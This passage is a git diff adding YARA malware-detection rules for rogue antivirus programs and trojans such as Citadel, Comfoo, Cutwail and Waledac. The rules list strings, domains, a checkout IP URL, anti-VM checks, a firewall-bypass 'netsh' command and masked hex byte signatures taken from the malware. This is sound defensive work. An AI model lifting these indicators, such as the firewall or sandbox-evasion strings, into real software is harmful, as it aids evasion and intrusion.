+		$ = "has detected a leak of your files though the Internet. " ascii wide
+		$ = "We strongly recommend that you block the attack immediately" ascii wide
+		$ = "All threats has been succesfully removed." ascii wide
+		$ = "Attention! We strongly recommend that you activate " ascii wide
+		$ = "for the safety and faster running of your PC." ascii wide
+		$ = "No new update available" ascii wide
+		$ = "Could not connect to server!" ascii wide
+		$ = "New updates are installed successfully!" ascii wide
+		$ = "Security Warning!" ascii wide
+		$ = "Malicious program has been detected." ascii wide
+		$ = "Click here to protect your computer." ascii wide
+		$ = "is infected by W32/Blaster.worm" ascii wide
+		$ = "$$$$$$$$.bat" ascii wide
+		$ = "Completed!" ascii wide
+		$ = "Antivirus software uninstalled successfully" ascii wide
+		$ = "Antivirus uninstall is not success. Please try again..." ascii wide
+		$ = "-uninstall" ascii wide
+		$ = "_MUTEX" ascii wide
+		$ = "/min" ascii wide
+		
+	condition:
+		7 of them
+}
+
+rule RogueUnknownFakeAV
+{
+	meta:
+		Description  = "Rogue.FakeRean.rc"
+		ThreatLevel  = "5"
+		
+	strings:
+		$a = "S:\\appointed\\commanding\\general\\Moravia\\Image[01].exe" ascii wide
+		$b = "Dresden blockade" ascii wide
+		$c = "37592837532" ascii wide
+		$d = "39874598234" ascii wide
+		$e = "465234750238947532649587203948523-4572304750329458-23459723450-23457" ascii wide
+		
+	condition:
+		($a and $b) or ($c and $d) or $e
+}
+
+rule RoguePCDefender
+{
+	meta:
+		Description  = "Rogue.FakeDef.rc"
+		ThreatLevel  = "5"
+		
+	strings:
+		$hex0 = { 8A 4A 01 56 57 33 FF 47 8B C7 8D 72 03 85 C0 74 28 80 C1 0B 80 F9 5A 7E 11 0F BE C1 83 E8 41 6A 19 99 59 F7 F9 80 C2 41 8A CA 33 C0 38 0E 0F 94 C0 47 46 46 83 FF 10 7C D4 5F 5E C3 }
+		
+	condition:
+		any of ($hex*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Rogue.FakeSysDef.yar b/yara-mikesxrs/g00dv1n/Rogue.FakeSysDef.yar
new file mode 100644
index 0000000..31fc40d
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Rogue.FakeSysDef.yar
@@ -0,0 +1,38 @@
+rule RogueFakeSysDefSample
+{
+	meta:
+		Description  = "Rogue.FakeSysDef.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "smtmp" ascii wide
+		$ = "attrib -h"  ascii wide
+		$ = "%s\\license.dat"  ascii wide
+		$ = "Thank you for purchasing %s"    ascii wide
+		$ = "%s\\%s_License.txt" ascii wide
+		$ = "Bad sectors" ascii wide
+		$ = "Lost cluster chains" ascii wide
+		$ = "Relocate bad sectors: " ascii wide
+		$ = "Fix corrupted files: " ascii wide
+		$ = "Fix cluster chain: " ascii wide
+		$ = "No errors found. Disk%s health summary %d%%." ascii wide
+		$ = "Error 0x00000024 - %s_FILE_SYSTEM" ascii wide
+		$ = "Verifying disk consistency..." ascii wide
+		$ = "Hard drive spin failure detected" ascii wide
+		$ = "Checking S.M.A.R.T. attributes" ascii wide
+		$a = "S.M.A.R.T reports" ascii wide
+		$ = "Checking HDD surface for bad sectors.." ascii wide
+		$ = "Scanning sectors 0x%04X-0x%04X..." ascii wide
+		$ = "Check cancelled." ascii wide
+		$ = "Hard disk error detected" ascii wide
+		$ = "Repair volumes" ascii wide
+		$ = "Hard disk verification completed. No errors found." ascii wide
+		$ = "Exception Processing Message 0x%08X Parameters" ascii wide
+		$ = "Windows - Read error" ascii wide
+		$ = "File system on local disk %s contains critical errors" ascii wide
+		$ = "explorer.exe - Corrupt Disk" ascii wide
+		$ = "svchost.exe - Corrupt Disk" ascii wide
+
+	condition:
+		(3 of them) or $a
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Rogue.LiveSP.yar b/yara-mikesxrs/g00dv1n/Rogue.LiveSP.yar
new file mode 100644
index 0000000..8c13e3b
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Rogue.LiveSP.yar
@@ -0,0 +1,59 @@
+rule RogueWin32LiveSecurityProfessional
+{
+	meta:
+		Description  = "Rogue.LiveSP.sm"
+		ThreatLevel  = "5"
+	strings:
+		$ = "W32.SillyFDC.BDQ" ascii wide
+		$ = "Trojan.Peancomm" ascii wide
+		$ = "Adware.Borlan" ascii wide
+		$ = "Trojan.Exprez" ascii wide
+		$ = "Sunshine.B" ascii wide
+		$ = "SecurityRisk.URLRedir" ascii wide
+		$ = "Spyware.Ezurl" ascii wide
+		$ = "W32.Azero.A" ascii wide
+		$ = "W32.Downloadup.B" ascii wide
+		$ = "Hacktool.Unreal.A" ascii wide
+		$ = "Backdoor.Rustock.B" ascii wide
+		$ = "Infostealer.Snifula.B" ascii wide
+		$ = "Adware.FCHelp" ascii wide
+		$ = "Adware.Invinciblekey" ascii wide
+		$ = "Packed.Dromedan!gen5" ascii wide
+		$ = "Downloader.Jadelile" ascii wide
+		$ = "SecShieldFraud!gen7" ascii wide
+		$ = "Trojan.Komodola" ascii wide
+		$ = "W32.Stekct" ascii wide
+		$ = "Packed.Generic.368" ascii wide
+		$ = "VirusDoctor!gen12" ascii wide
+		$ = "UnlockAV" ascii wide
+		$ = "Sign Up in Live Security Professional" ascii wide
+		$ = "General security:" ascii wide
+		$ = "Real-Time Shields:" ascii wide
+		$ = "Self-protection from malware:" ascii wide
+		$ = "Definitions auto updates:" ascii wide
+		$ = "Virus definition version:" ascii wide
+		$ = "Program version:" ascii wide
+		$ = "Live Security Professional %s." ascii wide
+		$ = "You have a license" ascii wide
+		$ = "Your system is protected from possible threats." ascii wide
+		$ = "3.13.44.20" ascii wide
+		$ = "Protection level:" ascii wide
+		$ = "Your computer is fully protected." ascii wide
+		$ = "Your protection against viruses and spyware is weak" ascii wide
+		$ = "You must enter the serial number that came to your email to activate your license." ascii wide
+		$ = "Live Security Professional - Unregistered version" ascii wide
+		$ = "Scan stopped..." ascii wide
+		$ = "Scan paused..." ascii wide
+		$ = "http://185.6.80.65/index.php?r=checkout" ascii wide
+		$ = "To complete the registration, check your data for correctness." ascii wide
+		$ = "You have successfully signed up and choose a license. After confirming the payment (about 10 minutes), you get a completely secure system." ascii wide
+		$ = "Live Security Professional has blocked" ascii wide
+		$ = "Live security professional" ascii wide
+		$ = "Successfully Cleared!" ascii wide
+		$ = "DETECTED VIRUSES" ascii wide
+		$ = "List of detected viruses." ascii wide
+		$ = "Total infected:" ascii wide
+		$ = "10% of the viruses were treated free. For the cure of all viruses, you must purchase a license Pro or Pro Plus." ascii wide
+	condition:
+		5 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Rogue.SDef.yar b/yara-mikesxrs/g00dv1n/Rogue.SDef.yar
new file mode 100644
index 0000000..3b30645
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Rogue.SDef.yar
@@ -0,0 +1,20 @@
+rule RogueSpywareDefenderSample
+{
+	meta:
+		Description  = "Rogue.SDef.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$str1 = "/get_two.php?" ascii wide
+		$str2 = "spyware-defender.com" ascii wide
+		$str3 = "Spyware Defender 2014" ascii wide
+		$str4 = "Antivirus MAC 2014" ascii wide
+		$str5 = "Antivirus WIN 2014" ascii wide
+		$ = "Delete" ascii wide
+		$ = "NoRemove" ascii wide
+		$ = "ForceRemove" ascii wide
+		$ = "RunInvalidSignatures" ascii wide
+		$ = "CheckExeSignatures" ascii wide
+	condition:
+		(5 of them) or (any of ($str*))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Rogue.SysDoc.yar b/yara-mikesxrs/g00dv1n/Rogue.SysDoc.yar
new file mode 100644
index 0000000..2e025d8
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Rogue.SysDoc.yar
@@ -0,0 +1,49 @@
+rule RogueWin32SystemDoctorA
+{
+	meta:
+		Description  = "Rogue.SysDoct.rc"
+		ThreatLevel  = "5"
+	strings:
+		$hex0 = { 55 8b ec 83 ec 7c a1 ?? ?? ?? ?? 33 c5 89 ?? ?? 56 68 90 d0 47 00 8d ?? ?? e8 ?? ?? ?? ?? 83 ?? ?? ?? 8b ?? ?? 73 ?? 8d ?? ?? 50 ff ?? ?? ?? ?? ?? 8d ?? ?? 83 f8 ff 74 ?? 6a 00 6a 01 e8 ?? ?? ?? ?? 33 c0 8b ?? ?? 33 cd 5e e8 ?? ?? ?? ?? c9 c3 53 57 33 db 53 6a 01 e8 ?? ?? ?? ?? be a4 d0 47 00 8d ?? ?? a5 a4 be ac d0 47 00 8d ?? ?? a5 a4 be b4 d0 47 00 8d ?? ?? a5 66 ?? a4 be bc d0 47 00 8d ?? ?? a5 a5 66 ?? a4 be 90 88 45 00 8d ?? ?? a5 a5 a5 a5 be 00 10 00 00 56 e8 ?? ?? ?? ?? 59 6a 02 53 89 ?? ?? 53 8d ?? ?? 50 c7 ?? ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 8b f8 83 ff ff 0f ?? ?? ?? ?? ?? 8d ?? ?? 50 53 57 ff ?? ?? ?? ?? ?? 85 c0 74 ?? 8d ?? ?? 50 56 8b ?? ?? 56 8d ?? ?? 50 6a 0c 8d ?? ?? 50 57 ff ?? ?? ?? ?? ?? 85 c0 74 ?? 56 ff ?? ?? ?? ?? ?? 8d ?? ?? 50 56 e8 ?? ?? ?? ?? 59 59 85 c0 75 ?? 8d ?? ?? 50 56 e8 ?? ?? ?? ?? 59 59 85 c0 75 ?? 8d ?? ?? 50 56 e8 ?? ?? ?? ?? 59 59 85 c0 75 ?? 8d ?? ?? 50 56 e8 ?? ?? ?? ?? 59 59 85 c0 74 ?? 33 db 43 56 e8 ?? ?? ?? ?? 59 5f 8b c3 5b e9 ?? ?? ?? ?? 8b ?? ?? eb ?? }
+		$ = "http://sys-doctor.com" ascii wide
+		$ = "AA39754E-715219CE" ascii wide
+		$ = "System Doctor" ascii wide
+		$ = "C:\\sd.dbg" ascii wide
+		$ = "C:\\sd1.dbg" ascii wide
+	condition:
+		(2 of them) or (any of ($hex*))
+}
+
+rule RogueWin32FufelAVA
+{
+	meta:
+		Description  = "Rogue.FufelAV.sm"
+		ThreatLevel  = "5"
+	strings:
+		$ = "avp:buy" ascii wide
+		$ = "avp:scan" ascii wide
+		$ = "Protection software" ascii wide
+		$ = "Invalid registration key!" ascii wide
+		$ = "Unprotected mode request" ascii wide
+		$ = "Are you sure want to continue in unprotected mode?" ascii wide
+		$ = "I have serial key" ascii wide
+		$ = "Continue unprotected" ascii wide
+		$ = "trying to infect your files" ascii wide
+		$ = "Your computer was attacked from" ascii wide
+		$ = "Attack was blocked" ascii wide
+		$ = "Please register product to block hackers attack" ascii wide
+		$ = "Scanning completed. No threads found." ascii wide
+		$ = "Scanning completed. Cleanup is required." ascii wide
+		$ = "Warning! %d Infections found!" ascii wide
+		$ = "Registered version" ascii wide
+		$ = "Unregistered version (Please register)" ascii wide
+		$ = "Cured" ascii wide
+		$ = "Infected process" ascii wide
+		$str_0 = "Sinergia Cleaner" ascii wide
+		$str_1 = "Sinergia software.lnk" ascii wide
+		
+		$str_2 = "fufel-av-2.com" ascii wide
+		$str_3 = "fufel-av.com" ascii wide
+	condition:
+		(3 of them) or (any of ($str_*))
+}
diff --git a/yara-mikesxrs/g00dv1n/Rogue.Winwebsec.yar b/yara-mikesxrs/g00dv1n/Rogue.Winwebsec.yar
new file mode 100644
index 0000000..671c2af
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Rogue.Winwebsec.yar
@@ -0,0 +1,25 @@
+rule RogueWinwebsecSample
+{
+	meta:
+		Description  = "Rogue.Winwebsec.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$a = "%s%s\\%s.ico" ascii wide
+		$b = "%s%s\\%s.exe" ascii wide
+	condition:
+		$a or $b
+}
+
+rule RogueSShieldSample
+{
+	meta:
+		Description  = "Rogue.SShield.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$a = "64C665BE" 	wide
+		$b = "BC0172B25DF2" wide
+	condition:
+		$a or $b
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Trojan.Antivar.yar b/yara-mikesxrs/g00dv1n/Trojan.Antivar.yar
new file mode 100644
index 0000000..aaa013a
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Trojan.Antivar.yar
@@ -0,0 +1,11 @@
+rule TrojanWin32AntivarSample
+{
+	meta:
+		Description  = "Trojan.Antivar.sm"
+		ThreatLevel  = "5"
+	strings:
+		$ = "ServerNabs4" ascii wide
+		$ = "\\system32\\antivar.exe" ascii wide
+	condition:
+		any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Trojan.Cbeplay.yar b/yara-mikesxrs/g00dv1n/Trojan.Cbeplay.yar
new file mode 100644
index 0000000..6bd322e
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Trojan.Cbeplay.yar
@@ -0,0 +1,58 @@
+rule TrojanDownloaderCbeplaySample
+{
+	meta:
+		Description  = "Trojan.Cbeplay.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "wireshark.exe" ascii wide
+		$ = "pstorec.dll" ascii wide
+		$ = "ROOT\\SecurityCenter2" ascii wide
+		$ = "Select * from AntiVirusProduct" ascii wide
+		$ = "SbieDll.dll" ascii wide
+		$ = "OPEN %s.mp3 TYPE MpegVideo ALIAS MP3" ascii wide
+		$ = "PLAY MP3 wait" ascii wide
+		$ = "CLOSE MP3" ascii wide
+		$ = "VIRTUALBOX" ascii wide
+		$ = "VideoBiosVersion" ascii wide
+		$ = "QEMU" ascii wide
+		$ = "VMWARE" ascii wide
+		$ = "VBOX" ascii wide
+		$ = "VIRTUAL" ascii wide
+		$ = "taskmgr.exe" ascii wide
+		$ = "explorer.exe" ascii wide
+		$ = "Program Manager" ascii wide
+		$ = "Shell_TrayWnd" ascii wide
+		$ = "FriendlyName" ascii wide
+		$ = "Capture Filter" ascii wide
+		$ = "SampleGrab" ascii wide
+		$ = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer" ascii wide
+		$ = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" ascii wide
+		$ = "SYSTEM\\CurrentControlSet\\Control\\SafeBoot" ascii wide
+		$ = "Hello, visitor from: <strong>" ascii wide
+		$ = "SendVoucher" ascii wide
+		$ = "winver" ascii wide
+		$ = "AVID" ascii wide
+		$ = "Emsisoft" ascii wide
+		$ = "Lavasoft" ascii wide
+		$ = "avast" ascii wide
+		$ = "Avira" ascii wide
+		$ = "BitDef" ascii wide
+		$ = "COMODO" ascii wide
+		$ = "F-Secure" ascii wide
+		$ = "G Data" ascii wide
+		$ = "Kaspersky" ascii wide
+		$ = "McAfee" ascii wide
+		$ = "ESET" ascii wide
+		$ = "Norton" ascii wide
+		$ = "Microsoft Security Essentials" ascii wide
+		$ = "Panda" ascii wide
+		$ = "Sophos" ascii wide
+		$ = "Trend Micro" ascii wide
+		$ = "Symantec" ascii wide
+		$ = "BullGuard" ascii wide
+		$ = "VIPRE" ascii wide
+		$ = "Webroot" ascii wide
+	condition:
+		8 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Trojan.ChStartPage.yar b/yara-mikesxrs/g00dv1n/Trojan.ChStartPage.yar
new file mode 100644
index 0000000..87101a3
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Trojan.ChStartPage.yar
@@ -0,0 +1,24 @@
+rule TrojanChangeStartPageSampleA
+{
+ meta:
+  Description  = "Trojan.CStartPage.sm"
+  ThreatLevel  = "5"
+
+ strings:
+	$ = "chrome.exe" ascii wide
+	$ = "urls_to_restore_on_startup" ascii wide
+	$ = "restore_on_startup" ascii wide
+	$ = "restore_on_startup_migrated" ascii wide
+	$ = "urls_to_restore_on_startup" ascii wide
+	$ = "translate_accepted_count" ascii wide
+	$ = "translate_denied_count" ascii wide
+	$ = "translate_site_blacklist" ascii wide
+	$ = "netsh firewall add allowedprogram" ascii wide
+	$ = "homepage_is_newtabpage" ascii wide
+	$ = "Start Page" ascii wide
+	$ = "user_pref(%cbrowser.startup.homepage%c" ascii wide
+	$ = "%ws\\mozilla\\firefox\\profiles" ascii wide
+	$ = "c:\\windows\\sms.exe" ascii wide
+ condition:
+	3 of them
+}
diff --git a/yara-mikesxrs/g00dv1n/Trojan.Citadel.yar b/yara-mikesxrs/g00dv1n/Trojan.Citadel.yar
new file mode 100644
index 0000000..fee195c
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Trojan.Citadel.yar
@@ -0,0 +1,15 @@
+rule TrojanWin32CitadelSampleA
+{
+	meta:
+		Description  = "Trojan.Citadel.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$a = "Coded by BRIAN KREBS for personal use only. I love my job & wife." ascii wide
+		$hex_string = {85 C0 7? ?? 8A 4C 30 FF 30 0C 30 48 7?}
+		$ = "softpc.new" ascii wide
+		$ = "CS:%04x IP:%04x OP:%02x %02x %02x %02x %02x" ascii wide
+
+	condition:
+		any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Trojan.Comfoo.yar b/yara-mikesxrs/g00dv1n/Trojan.Comfoo.yar
new file mode 100644
index 0000000..b9fb517
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Trojan.Comfoo.yar
@@ -0,0 +1,38 @@
+rule TrojanWin32ComfooSample
+{
+	meta:
+		Description  = "Trojan.Comfoo.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "exclusiveinstance12" ascii wide
+		$ = "MYGAMEHAVESTART" ascii wide
+		$ = "MYGAMEHAVEstarted" ascii wide
+		$ = "MYGAMEHAVESTARTEd" ascii wide
+		$ = "MYGAMEHAVESTARTED" ascii wide
+		$ = "thisisanewfirstrun" ascii wide
+		$ = "THISISASUPERNEWGAMENOWBEGIN" ascii wide
+		$ = "thisisnewtrofor024" ascii wide
+
+		$ = "cabinet.dll" ascii wide
+		$ = "09lkjds" ascii wide
+		$ = "perfdi.ini" ascii wide
+		$ = "msobj.sys" ascii wide
+		$ = "usbak.sys" ascii wide
+		$ = "\\\\.\\DevCtrlKrnl" ascii wide
+		$ = "THIS324NEWGAME" ascii wide
+		$ = "watchevent29021803" ascii wide
+		$ = "iamwaitingforu653890" ascii wide
+		$ = "Call to GetAdaptersInfo failed. Return Value" ascii wide
+		$ = "Hard Disk(%s--LocalDisk)" ascii wide
+		$ = "Total size: %I64d (MB)" ascii wide
+
+		$ = "SYSTEM\\CurrentControlSet\\Services\\%s" ascii wide
+
+		$hex0 = { 6a ff 68 1b 04 01 10 64 ?? ?? ?? ?? ?? 50 64 ?? ?? ?? ?? ?? ?? 51 56 57 68 30 17 00 00 e8 ?? ?? ?? ?? 83 c4 04 89 ?? ?? ?? 85 c0 c7 ?? ?? ?? ?? ?? ?? ?? 74 ?? 8b c8 e8 ?? ?? ?? ?? 8b f0 eb ?? 33 f6 8b ?? 6a 01 8b ce c7 ?? ?? ?? ?? ?? ?? ?? ff ?? ?? bf 30 3b 01 10 83 c9 ff 33 c0 8b ?? f2 ?? f7 d1 49 51 68 30 3b 01 10 8b ce ff ?? ?? 8b ?? 68 81 3e 00 00 8b ce ff ?? ?? 8b ?? ?? ?? 8b ?? 50 8b ce ff ?? ?? 8b ?? ?? ?? 8b ?? 50 8b ce ff ?? ?? 56 e8 ?? ?? ?? ?? 8b f8 83 c4 04 f7 df 1b ff 47 85 f6 74 ?? 8b ce e8 ?? ?? ?? ?? 56 e8 ?? ?? ?? ?? 83 c4 04 8b ?? ?? ?? 8b c7 5f 5e 64 ?? ?? ?? ?? ?? ?? 83 c4 10 c3}
+		$hex1 = { 55 56 57 6a 08 33 ed e8 ?? ?? ?? ?? 8b f0 83 c4 04 85 f6 0f ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 89 ?? ff ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 68 7f 03 0f 00 55 68 94 32 01 10 89 ?? ?? ff ?? ?? ?? ?? ?? 8b f8 85 ff 74 ?? 53 57 ff ?? ?? ?? ?? ?? 85 c0 74 ?? 68 ff 01 0f 00 55 55 68 e8 30 01 10 ff ?? ?? ?? ?? ?? 8b d8 85 db 74 ?? 53 ff ?? ?? ?? ?? ?? 85 c0 74 ?? bd 01 00 00 00 53 ff ?? ?? ?? ?? ?? 57 ff ?? ?? ?? ?? ?? 85 ed 5b 74 ?? 8b c6 5f 5e 5d c3}
+		$hex2 = { 53 53 6a 03 53 53 68 00 00 00 c0 68 78 33 01 10 ff ?? ?? ?? ?? ?? 89 ?? ?? 83 f8 ff 75 ?? 33 c0 8b ?? ?? 64 ?? ?? ?? ?? ?? ?? 5f 5e 5b 8b e5 5d c3 89 ?? ?? 89 ?? ?? 89 ?? ?? be 88 33 01 10 8b c7 8a ?? 8a ca 3a ?? 75 ?? 3a cb 74 ?? 8a ?? ?? 8a ca 3a ?? ?? 75 ?? 83 c0 02 83 c6 02 3a cb 75 ?? 33 c0 eb ?? 1b c0 83 d8 ff 3b c3 75 ?? 89 ?? ?? eb ?? 57 ff ?? ?? ?? ?? ?? 89 ?? ?? 83 f8 ff 74 ?? 8b ?? ?? 50 ff ?? ?? ?? ?? ?? 66 ?? ?? ?? 53 8d ?? ?? 51 6a 04 8d ?? ?? 52 6a 06 8d ?? ?? 50 8b ?? ?? 56 8b ?? ?? 51 ff ?? ?? ?? ?? ?? 85 c0 74 ?? 81 fe c8 20 22 00 75 ?? c7 ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 8b ?? ?? 8b ?? ?? 64 ?? ?? ?? ?? ?? ?? 5f 5e 5b 8b e5 5d c3}
+
+	condition:
+		(3 of them) or (any of ($hex*))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Trojan.Cutwail.yar b/yara-mikesxrs/g00dv1n/Trojan.Cutwail.yar
new file mode 100644
index 0000000..2eea854
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Trojan.Cutwail.yar
@@ -0,0 +1,18 @@
+rule TrojanBotnetWin32CutwailSample
+{
+	meta:
+		Description  = "Trojan.Cutwail.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "PreLoader.pdb" ascii wide
+		$ = "magadan21"  ascii wide
+		$ = "RkInstall.pdb"  ascii wide
+		$ = "InnerDrv.pdb"    ascii wide
+		$ = "Protect.pdb" ascii wide
+		$ = "MailerApp.pdb" ascii wide
+		$ = "revolution6" ascii wide
+		$ = "bot25" ascii wide
+	condition:
+		any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Trojan.Dllpatcher.yar b/yara-mikesxrs/g00dv1n/Trojan.Dllpatcher.yar
new file mode 100644
index 0000000..f9fcdb1
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Trojan.Dllpatcher.yar
@@ -0,0 +1,15 @@
+rule TrojanDllpatcherA
+{
+   meta:
+       Description = "Trojan.Dllpatcher.vb"
+       ThreatLevel = "5"
+
+   strings:
+		$str1 = "Global\\Matil da"  ascii wide
+		$str2 = "Global\\Nople Mento"  ascii wide
+		$str3 = "%s\\System32\\dnsapi.dll"  ascii wide
+		$str4 = "%s\\SysWOW64\\dnsapi.dll"  ascii wide
+
+   condition:
+      3 of them
+}
diff --git a/yara-mikesxrs/g00dv1n/Trojan.Downloader.yar b/yara-mikesxrs/g00dv1n/Trojan.Downloader.yar
new file mode 100644
index 0000000..fd8642e
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Trojan.Downloader.yar
@@ -0,0 +1,49 @@
+rule TrojanDownloaderWin32KaraganySampleA
+{
+	meta:
+		Description  = "Trojan.Karagany.sm"
+		ThreatLevel  = "5"
+	strings:
+		$hex0 = { e8 ?? ?? ?? ?? 68 b4 05 00 00 e8 ?? ?? ?? ?? 83 c4 04 c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ff ?? ?? 99 b9 05 00 00 00 f7 f9 89 ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? 68 c0 24 40 00 8b ?? ?? ?? ?? ?? 52 ff ?? ?? ?? ?? ?? 83 c4 08 eb ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? 68 78 24 40 00 a1 ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 83 c4 08 eb ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? 68 30 24 40 00 8b ?? ?? ?? ?? ?? 51 ff ?? ?? ?? ?? ?? 83 c4 08 eb ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? 68 e8 23 40 00 8b ?? ?? ?? ?? ?? 52 ff ?? ?? ?? ?? ?? 83 c4 08 eb ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? 68 a0 23 40 00 a1 ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 83 c4 08 8d ?? ?? ?? ?? ?? 51 68 00 03 00 84 6a 00 6a 00 8b ?? ?? ?? ?? ?? 52 8b ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 74 ?? 83 ?? ?? ?? ?? ?? ??}
+		$hex1 = { 55 8b ec 83 ec 18 e8 ?? ?? ?? ?? 89 ?? ?? 8b ?? ?? 50 e8 ?? ?? ?? ?? 83 c4 04 a3 ?? ?? ?? ?? 68 d0 21 40 00 8b ?? ?? 51 ff ?? ?? ?? ?? ?? a3 ?? ?? ?? ?? 6a 00 6a 00 68 38 23 40 00 ff ?? ?? ?? ?? ?? 89 ?? ?? c7 ?? ?? ?? ?? ?? ?? eb ?? 8b ?? ?? 83 c2 01 89 ?? ?? 83 ?? ?? ?? 73 ?? 8b ?? ?? 8b ?? ?? ?? ?? ?? ?? 51 8b ?? ?? 52 ff ?? ?? ?? ?? ?? 8b ?? ?? 89 ?? ?? ?? ?? ?? ?? eb ?? 6a 00 6a 00 68 2c 23 40 00 ff ?? ?? ?? ?? ?? 89 ?? ?? c7 ?? ?? ?? ?? ?? ?? eb ?? 8b ?? ?? 83 c2 01 89 ?? ?? 83 ?? ?? ?? 73 ?? 8b ?? ?? 8b ?? ?? ?? ?? ?? ?? 51 8b ?? ?? 52 ff ?? ?? ?? ?? ?? 8b ?? ?? 89 ?? ?? ?? ?? ?? ?? eb ?? 6a 00 6a 00 68 20 23 40 00 ff ?? ?? ?? ?? ?? 89 ?? ?? 8b ?? ?? ?? ?? ?? 52 8b ?? ?? 50 ff ?? ?? ?? ?? ?? a3 ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 51 8b ?? ?? 52 ff ?? ?? ?? ?? ?? a3 ?? ?? ?? ?? a1 ?? ?? ?? ?? 50 8b ?? ?? 51 ff ?? ?? ?? ?? ?? a3 ?? ?? ?? ?? 6a 00 6a 00 68 14 23 40 00 ff ?? ?? ?? ?? ?? 89 ?? ?? c7 ?? ?? ?? ?? ?? ?? eb ?? 8b ?? ?? 83 c2 01 89 ?? ?? 83 ?? ?? ?? 73 ?? 8b ?? ?? 8b ?? ?? ?? ?? ?? ?? 51 8b ?? ?? 52 ff ?? ?? ?? ?? ?? 8b ?? ?? 89 ?? ?? ?? ?? ?? ?? eb ?? 6a 00 6a 00 68 04 23 40 00 ff ?? ?? ?? ?? ?? 89 ?? ?? c7 ?? ?? ?? ?? ?? ?? eb ?? 8b ?? ?? 83 c2 01 89 ?? ?? 83 ?? ?? ?? 73 ?? 8b ?? ?? 8b ?? ?? ?? ?? ?? ?? 51 8b ?? ?? 52 ff ?? ?? ?? ?? ?? 8b ?? ?? 89 ?? ?? ?? ?? ?? ?? eb ?? 8b e5 5d c3}
+		$hex2 = { 55 8b ec 81 ec 20 04 00 00 a1 ?? ?? ?? ?? 89 ?? ?? 68 e0 30 40 00 68 48 23 40 00 8d ?? ?? ?? ?? ?? 51 ff ?? ?? 83 c4 0c 6a 00 6a 00 8d ?? ?? ?? ?? ?? 52 e8 ?? ?? ?? ?? 83 c4 0c b8 01 00 00 00 8b e5 5d c3}
+	condition:
+		any of ($hex*)
+}
+
+rule TrojanDownloaderWin32WaledacSampleR
+{
+	meta:
+		Description  = "Trojan.Waledac.sm"
+		ThreatLevel  = "5"
+	strings:
+		$hex0 = { 55 8b ec 81 ec 6c 02 00 00 56 57 68 80 00 00 00 8d ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 68 1c 21 40 00 8d ?? ?? ?? ?? ?? 50 ff d6 e8 ?? ?? ?? ?? 8d ?? ?? 51 50 e8 ?? ?? ?? ?? 8b ?? ?? 59 59 8b ?? ?? 8d ?? ?? ?? 50 8d ?? ?? ?? ?? ?? 50 ff d6 8d ?? ?? 50 e8 ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? 50 ff d6 33 f6 56 56 6a 02 56 56 68 00 00 00 40 8d ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 8b f8 3b fe 75 ?? 32 c0 eb ?? 56 8d ?? ?? 50 53 ff ?? ?? 57 ff ?? ?? ?? ?? ?? 57 ff ?? ?? ?? ?? ?? 39 ?? ?? 75 ?? 6a 44 5f 57 8d ?? ?? 56 50 e8 ?? ?? ?? ?? 83 c4 0c 33 c0 66 ?? ?? ?? 8d ?? ?? 50 8d ?? ?? 50 56 56 56 56 56 56 8d ?? ?? ?? ?? ?? 50 56 89 ?? ?? c7 ?? ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? f7 d8 1b c0 f7 d8 5f 5e c9 c3 55}
